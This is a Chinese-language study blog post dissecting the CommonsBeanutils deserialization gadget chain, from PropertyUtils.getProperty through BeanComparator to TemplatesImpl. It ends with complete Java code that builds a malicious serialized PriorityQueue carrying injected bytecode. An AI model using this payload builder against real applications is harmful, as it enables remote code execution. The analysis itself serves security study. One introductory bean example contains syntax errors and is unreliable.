本文最后更新于:1 个月前
依赖导入
在开始学习这条链之前我先对CommonsBeanutils有了个简单的了解
首先导入依赖:
1 2 3 4 5
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.3</version> </dependency>
|
Bean
先了解一下bean是什么
Java Bean是一种特定规范的类,使得开发中更加模块化,一个bea需要包括几种特点:
- 实现Serializable接口,使得类可序列化
- 无参构造函数,JavaBean应有一个公共的无参构造函数以便使用的时候快速实例化
- 私有属性,bean的属性一般被声明为private
- 公有getter和setter用于修改和读取私有属性
举个简单的例子:
1 2 3 4 5 6 7 8 9
| publc class User() implements Serializable{ private String name; private int age; public User(){} public void setName(String name){this.name = name;} public void setAge(int age){this.age = age;} public String getName(){return this.name;} public int setAge(){return this.age;} }
|
PropertyUtils.getProperty()
该方法传入两个参数,一个是实例化后的bean对象,一个是字符串类型的属性名,
1 2 3 4 5 6 7
| public static Object getProperty(final Object bean, final String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
|
跟进到PropertyUtilBaen->getNestedProperty(),该方法首先检测bean对象中是否存在某个属性(property),存在的话调用其getter(),因此假如说某个getter中存在可利用点,调用该方法的时候即有利用的可能
举一部分例子:
获取简单属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import org.apache.commons.beanutils.BeanUtils;
public class SimplePropertyExample { public static void main(String[] args) { User user = new User(); user.setUsername("johndoe");
try { String username = BeanUtils.getProperty(user, "username"); System.out.println("Username: " + username); } catch (Exception e) { e.printStackTrace(); } } }
class User { private String username;
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; } }
|
获取嵌套属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.apache.commons.beanutils.BeanUtils;
public class NestedPropertyExample { public static void main(String[] args) { Address address = new Address(); address.setCity("New York"); User user = new User(); user.setAddress(address);
try { String city = BeanUtils.getProperty(user, "address.city"); System.out.println("City: " + city); } catch (Exception e) { e.printStackTrace(); } } }
class User { private Address address;
public Address getAddress() { return address; }
public void setAddress(Address address) { this.address = address; } }
class Address { private String city;
public String getCity() { return city; }
public void setCity(String city) { this.city = city; } }
|
处理集合属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import org.apache.commons.beanutils.BeanUtils;
import java.util.ArrayList; import java.util.List;
public class CollectionPropertyExample { public static void main(String[] args) { Group group = new Group(); List<String> members = new ArrayList<>(); members.add("Alice"); members.add("Bob"); group.setMembers(members);
try { List<String> groupMembers = (List<String>) BeanUtils.getProperty(group, "members"); System.out.println("Group Members: " + groupMembers); } catch (Exception e) { e.printStackTrace(); } } }
class Group { private List<String> members;
public List<String> getMembers() { return members; }
public void setMembers(List<String> members) { this.members = members; } }
|
TemplateImpl.getOutputProperties()
上面介绍过getProperty()方法能够调用一个getter,在TemplateImpl中,有一个getter就是getOutputProperties(),通过getProperty()如果bean是一个TemplateImpl对象,name的值为”outputProperties”,即可调用TemplateImpl对象的getOutputProperties()方法。CC链的分析中,newTransformer()方法能够调用TransformerImpl的构造方法,在TransformerImpl的构造方法中调用了getTransletInstance()方法,进而走到defineClass()->newInstance()的攻击链
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
BeanComparator.compare()
在BeanComparator的compare()方法中,存在对getProperty()方法的调用,并且参数可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public int compare( final T o1, final T o2 ) {
if ( property == null ) { return internalCompare( o1, o2 ); }
try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } ...... }
|
在前面的CC链的分析中,能发现有一处走到compare()方法的调用,因此CB的利用已经初具雏形了
gadget链构造
先正向尝试构造利用链,对TemplateImpl对象的构造以及反射赋值和前面CC一样
接入优先队列构成完整利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.potato.Commons_Collections;
import com.potato.Tools.Utils; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CommonsBeanutils { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};
Class<?> c = TemplatesImpl.class; Field f = c.getDeclaredField("_bytecodes"); f.setAccessible(true); f.set(templates,bytes);
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
f = c.getDeclaredField("_tfactory"); f.setAccessible(true); f.set(templates,transformerFactory);
f = c.getDeclaredField("_name"); f.setAccessible(true); f.set(templates,"11");
BeanComparator<Object> beanComparator = new BeanComparator<>(); beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); Class c1 = priorityQueue.getClass(); Field queueField = c1.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue,new Object[]{templates,templates,templates});
Field sizeField = c1.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue,3);
Utils.serialize(priorityQueue); Utils.unserialize("obj.ser");
} }
|